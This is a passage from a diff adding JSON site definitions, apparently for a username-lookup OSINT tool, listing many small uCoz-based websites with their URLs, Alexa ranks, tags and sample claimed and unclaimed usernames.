"noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gallasy.com": { + "engine": "uCoz", + "alexaRank": 9539166, + "urlMain": "http://gallasy.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "satwarez.ru": { + "engine": "uCoz", + "alexaRank": 6029600, + "urlMain": "http://satwarez.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "wallpost.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wallpost.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kpyto.pp.net.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 943967, + "urlMain": "http://kpyto.pp.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "playlist-iptv.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 7760724, + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icq-bot.moy.su": { + "engine": "uCoz", + "urlMain": "http://icq-bot.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "prof-rem-zona.at.ua": { + "engine": "uCoz", + "urlMain": "http://prof-rem-zona.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ilan.clan.su": { + "engine": "uCoz", + "urlMain": "http://ilan.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "liza.my1.ru": { + "engine": "uCoz", + "urlMain": "http://liza.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "super-warez-por.at.ua": { + "engine": "uCoz", + "urlMain": "http://super-warez-por.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zp-mama.ucoz.ua": { + "engine": "uCoz", + "alexaRank": 5664402, + "urlMain": "http://zp-mama.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aquamen.ru": { + "engine": "uCoz", + "urlMain": "http://aquamen.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kam-mamochka.ru": { + "engine": "uCoz", + "urlMain": "http://kam-mamochka.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "girl.at.ua": { + "engine": "uCoz", + "alexaRank": 9089237, + "urlMain": "http://girl.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shkolnikov.clan.su": { + "engine": "uCoz", + "urlMain": "http://shkolnikov.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "sputnikkey.ru": { + "engine": "uCoz", + "alexaRank": 5436066, + "urlMain": "http://sputnikkey.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mamki-papki.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mamki-papki.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "fordating.ru": { + "engine": "uCoz", + "alexaRank": 3264073, + "urlMain": "http://fordating.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "ikorovka.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://ikorovka.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "goba6372.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 3341174, + "urlMain": "http://goba6372.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "obkon.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://obkon.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4629017 + }, + "movi.my1.ru": { + "engine": "uCoz", + "urlMain": "http://movi.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xorazm-viloyati.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://xorazm-viloyati.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "magic-square.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://magic-square.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "free-proxy.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://free-proxy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "oskolfishing.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://oskolfishing.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "morozovka.my1.ru": { + "engine": "uCoz", + "alexaRank": 9513899, + "urlMain": "http://morozovka.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sherwood.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sherwood.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bull-baza.at.ua": { + "engine": "uCoz", + "urlMain": "http://bull-baza.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "letitbit-film.my1.ru": { + "engine": "uCoz", + "urlMain": "http://letitbit-film.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "student-telecom.ru": { + "engine": "uCoz", + "urlMain": "http://student-telecom.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kliki-doma.ru": { + "engine": "uCoz", + "urlMain": "http://kliki-doma.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "christian-video.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://christian-video.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "movies", + "ru" + ] + }, + "rabotenka.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://rabotenka.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "magictarot.ru": { + "engine": "uCoz", + "urlMain": "http://magictarot.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avtoexamen.com": { + "engine": "uCoz", + "alexaRank": 2380849, + "urlMain": "http://avtoexamen.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "my-tucson.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://my-tucson.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sms.portalsms.ru": { + "engine": "uCoz", + "urlMain": "http://sms.portalsms.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "potystorony.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://potystorony.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kiev-live.com": { + "engine": "uCoz", + "alexaRank": 8294628, + "urlMain": "http://kiev-live.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tatyana-art.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://tatyana-art.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6703103 + }, + "96.moy.su": { + "engine": "uCoz", + "urlMain": "http://96.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "svadba-orel.com": { + "engine": "uCoz", + "urlMain": "http://svadba-orel.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "nokia6233.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nokia6233.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "killer.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://killer.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nojay-urt.ru": { + "engine": "uCoz", + "alexaRank": 5999911, + "urlMain": "http://nojay-urt.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "goddamn.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://goddamn.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "virtualrift.ru": { + "engine": "uCoz", + "urlMain": "http://virtualrift.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "starfiles.at.ua": { + "engine": "uCoz", + "urlMain": "http://starfiles.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "haogan.3dn.ru": { + "engine": "uCoz", + "alexaRank": 7889794, + "urlMain": "http://haogan.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "expressinfo.at.ua": { + "engine": "uCoz", + "urlMain": "http://expressinfo.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "classified", + "ua" + ] + }, + "vfarte.ru": { + "engine": "uCoz", + "urlMain": "http://vfarte.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uface.at.ua": { + "engine": "uCoz", + "urlMain": "http://uface.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "poshtovik.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://poshtovik.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7305224 + }, + "muzika.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://muzika.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ooo.do.am": { + "engine": "uCoz", + "alexaRank": 7921270, + "urlMain": "http://ooo.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "golasa-vk-free.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://golasa-vk-free.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kakvkontakte.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://kakvkontakte.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ic.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ic.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "440101.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://440101.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "uralstanko.ru": { + "engine": "uCoz", + "alexaRank": 9600138, + "urlMain": "http://uralstanko.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "podsnezhniksad.ucoz.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2593222, + "urlMain": "http://podsnezhniksad.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kotel-torg.ru": { + "engine": "uCoz", + "urlMain": "http://kotel-torg.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "babymama.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://babymama.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "autocb.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://autocb.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "drujba.at.ua": { + "engine": "uCoz", + "urlMain": "http://drujba.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "so4ineniya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://so4ineniya.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "4948.ru": { + "engine": "uCoz", + "urlMain": "http://4948.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "toneto.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://toneto.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "abc-accounting.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://abc-accounting.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn--90anbhklk.xn--p1ai": { + "engine": "uCoz", + "alexaRank": 6151022, + "urlMain": "http://xn--90anbhklk.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "igra-online.ucoz.com": { + "engine": "uCoz", + "alexaRank": 5914773, + "urlMain": "http://igra-online.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "fat.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://fat.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum", + "ru" + ] + }, + "risefilm.ru": { + "tags": [ + "movies", + "ru" + ], + "engine": "uCoz", + "alexaRank": 8160677, + "urlMain": "http://risefilm.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "yka.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 559558, + "urlMain": "http://yka.kz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "tavr-obrazovanie.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5837356, + "urlMain": "http://tavr-obrazovanie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "manuals.clan.su": { + "engine": "uCoz", + "alexaRank": 7313728, + "urlMain": "http://manuals.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "holodilshchik.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://holodilshchik.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sladkiydesert.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sladkiydesert.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nokia-love.ru": { + "engine": "uCoz", + "urlMain": "http://nokia-love.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ], + "alexaRank": 5635652 + }, + "nicholassparks.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nicholassparks.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rapbeat.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://rapbeat.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "semenova-klass.moy.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2015508, + "urlMain": "http://semenova-klass.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "catinboots.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://catinboots.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "timich.ru": { + "engine": "uCoz", + "alexaRank": 8146721, + "urlMain": "http://timich.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "app.clan.su": { + "engine": "uCoz", + "urlMain": "http://app.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "electroprom.my1.ru": { + "engine": "uCoz", + "urlMain": "http://electroprom.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "nicefriendcats.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nicefriendcats.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dcsoft.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dcsoft.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ruslangxp.ucoz.org": { + "engine": "uCoz", + "alexaRank": 7467108, + "urlMain": "http://ruslangxp.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "englishinfo.ru": { + "engine": "uCoz", + "urlMain": "http://englishinfo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vl-dimir.ru": { + "engine": "uCoz", + "urlMain": "http://vl-dimir.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "litgeroy.ucoz.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2680273, + "urlMain": "http://litgeroy.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zhelezyaka.at.ua": { + "engine": "uCoz", + "urlMain": "http://zhelezyaka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sokal.ucoz.lv": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 408770, + "urlMain": "http://sokal.ucoz.lv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "aleks2.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://aleks2.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "upbyte.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1339189, + "urlMain": "http://upbyte.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dok17.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dok17.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mamasuper.ru": { + "engine": "uCoz", + "urlMain": "http://mamasuper.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "cadaverzian.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cadaverzian.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "puru.do.am": { + "engine": "uCoz", + "urlMain": "http://puru.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 8999453 + }, + "reklama-x.at.ua": { + "engine": "uCoz", + "urlMain": "http://reklama-x.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rurip.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://rurip.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "yras.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://yras.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "doccarb.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://doccarb.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10841743 + }, + "online-movies.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://online-movies.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "hamradio.at.ua": { + "engine": "uCoz", + "urlMain": "http://hamradio.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "lock.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://lock.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "torworld.at.ua": { + "engine": "uCoz", + "urlMain": "http://torworld.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "myfootball-1.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://myfootball-1.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gadjet.moy.su": { + "engine": "uCoz", + "urlMain": "http://gadjet.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "artmilitaire.ru": { + "engine": "uCoz", + "urlMain": "http://artmilitaire.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 8764926 + }, + "stop-nazi.at.ua": { + "engine": "uCoz", + "urlMain": "http://stop-nazi.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "velozone.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://velozone.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chelentano.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://chelentano.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "osiris.at.ua": { + "engine": "uCoz", + "urlMain": "http://osiris.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vch3469.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://vch3469.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sloboganec.at.ua": { + "engine": "uCoz", + "urlMain": "http://sloboganec.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pticevodov.ru": { + "engine": "uCoz", + "urlMain": "http://pticevodov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4277724, + "disabled": true + }, + "nwo-team.ru": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 8639189, + "urlMain": "http://nwo-team.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aviahistory.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3681403, + "urlMain": "http://aviahistory.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nuzar.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nuzar.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "toys22.ru": { + "engine": "uCoz", + "urlMain": "http://toys22.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "sharzh-portret.ru": { + "engine": "uCoz", + "urlMain": "http://sharzh-portret.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ohorona.at.ua": { + "engine": "uCoz", + "urlMain": "http://ohorona.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "grigorovo.clan.su": { + "engine": "uCoz", + "urlMain": "http://grigorovo.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ganjaspice.at.ua": { + "engine": "uCoz", + "urlMain": "http://ganjaspice.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "muz-fresh.ucoz.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 280915, + "urlMain": "http://muz-fresh.ucoz.kz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "78-3.do.am": { + "engine": "uCoz", + "urlMain": "http://78-3.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uko.at.ua": { + "engine": "uCoz", + "urlMain": "http://uko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "faillyuboi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://faillyuboi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "koshtoris.at.ua": { + "engine": "uCoz", + "alexaRank": 6118066, + "urlMain": "http://koshtoris.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pio-bets.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pio-bets.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "clan-sg.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://clan-sg.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "samsungmobile.pp.net.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 943967, + "urlMain": "http://samsungmobile.pp.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "specchiasol.ru": { + "engine": "uCoz", + "urlMain": "http://specchiasol.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mytechbook.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mytechbook.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "led-vector.ru": { + "engine": "uCoz", + "urlMain": "http://led-vector.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mariupol4x4.clan.su": { + "engine": "uCoz", + "urlMain": "http://mariupol4x4.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "shansonportal.ru": { + "engine": "uCoz", + "urlMain": "http://shansonportal.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alikgor.at.ua": { + "engine": "uCoz", + "alexaRank": 8327078, + "urlMain": "http://alikgor.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "diablocool.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://diablocool.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chastysc.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 5983476, + "urlMain": "http://chastysc.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "torrents-igra.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 9435758, + "urlMain": "http://torrents-igra.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "schonin.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8240852, + "urlMain": "http://schonin.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sa-mp.ucoz.de": { + "tags": [ + "in", + "ua" + ], + "engine": "uCoz", + "alexaRank": 692260, + "urlMain": "http://sa-mp.ucoz.de", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medvestnic.ru": { + "engine": "uCoz", + "urlMain": "http://medvestnic.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ruanekdot.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 842368, + "urlMain": "http://ruanekdot.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "novayamebel.at.ua": { + "engine": "uCoz", + "urlMain": "http://novayamebel.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "directx10.org": { + "engine": "uCoz", + "alexaRank": 4492767, + "urlMain": "http://directx10.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "3glaz.org": { + "engine": "uCoz", + "urlMain": "http://3glaz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "kfir-zahav.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kfir-zahav.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kadroviku.ru": { + "engine": "uCoz", + "alexaRank": 3541673, + "urlMain": "http://kadroviku.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "necromancers.clan.su": { + "engine": "uCoz", + "urlMain": "http://necromancers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "iberia-pw.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://iberia-pw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "greenbacks.at.ua": { + "engine": "uCoz", + "urlMain": "http://greenbacks.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "finance", + "ru" + ] + }, + "lakshmi-fm.ucoz.ru": { 